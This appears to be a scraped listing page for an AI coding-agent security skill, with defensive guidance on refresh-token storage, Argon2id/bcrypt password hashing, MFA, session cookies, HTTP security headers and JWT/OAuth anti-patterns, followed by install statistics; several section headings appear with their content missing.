{
userId: 'user_12345',
tokenHash: 'sha256_hash_of_refresh_token', // NEVER store plaintext
isUsed: false, // Set to true when token is used for refresh
expiresAt: ISODate('2026-02-01T00:00:00Z'),
createdAt: ISODate('2026-01-25T00:00:00Z'),
lastUsedAt: null, // Updated when isUsed set to true
userAgent: 'Mozilla/5.0...',
ipAddress: '192.168.1.1',
jti: 'uuid-v4', // Matches JWT 'jti' claim
}
Recommended: Argon2id
Winner of Password Hashing Competition (2015)
Resistant to both GPU cracking and side-channel attacks
Configurable memory, time, and parallelism parameters
// Argon2id example (Node.js) import argon2 from 'argon2';
// Hash password const hash = await argon2.hash(password, { type: argon2.argon2id, memoryCost: 19456, // 19 MiB timeCost: 2, parallelism: 1, });
// Verify password const isValid = await argon2.verify(hash, password);
Acceptable Alternative: bcrypt
Still secure but slower than Argon2id for same security level
Work factor: minimum 12 (recommended 14+ in 2026)
// bcrypt example import bcrypt from 'bcryptjs';
const hash = await bcrypt.hash(password, 14); // Cost factor 14 const isValid = await bcrypt.compare(password, hash);
NEVER use:
Types of MFA:
TOTP (Time-based One-Time Passwords)
WebAuthn/FIDO2 (Passkeys)
SMS-based (Legacy - NOT recommended)
Backup Codes
Implementation Best Practices:
Why Passkeys:
Implementation:
@simplewebauthn/server (Node.js) or similar librariesWebAuthn Registration Flow:
WebAuthn Authentication Flow:
Secure Session Practices:
Set-Cookie: session=...; Secure; HttpOnly; SameSite=StrictSession Storage:
Essential HTTP Security Headers:
Strict-Transport-Security: max-age=31536000; includeSubDomains (HSTS)X-Content-Type-Options: nosniffX-Frame-Options: DENY or SAMEORIGINContent-Security-Policy: default-src 'self'X-XSS-Protection: 1; mode=block (legacy support)Injection Attacks:
Cross-Site Scripting (XSS):
eval() or innerHTML with user inputCross-Site Request Forgery (CSRF):
Broken Authentication:
This expert skill consolidates 1 individual skills:
security-architect - Threat modeling (STRIDE), OWASP Top 10, and security architecture patterns| Anti-Pattern | Why It Fails | Correct Approach |
|---|---|---|
| JWT stored in localStorage | XSS-accessible; any script can steal the token | Use httpOnly secure cookies |
| No JWT signature validation | Forged tokens are accepted silently | Always call verify(), never just decode() |
| HS256 with client secret | Secret is embedded in client code; trivially extracted | Use RS256/ES256 with server-side private key |
| Implicit OAuth grant | Token in URL fragment leaks via referrer headers | Authorization code + PKCE flow |
| Access token lifetime >15 minutes | Stolen tokens remain valid too long after breach | Set exp to 5-15 minutes; use refresh token rotation |
Before starting:
cat .claude/context/memory/learnings.md
After completing: Record any new patterns or exceptions discovered.
ASSUME INTERRUPTION: Your context may reset. If it's not in memory, it didn't happen.
Weekly Installs
70
Repository
GitHub Stars
19
First Seen
Jan 27, 2026
Security Audits
Gen Agent Trust HubPassSocketWarnSnykPass
Installed on
github-copilot68
gemini-cli67
codex67
opencode67
kimi-cli66
amp66
Linux云主机安全托管指南:从SSH加固到HTTPS部署
46,900 周安装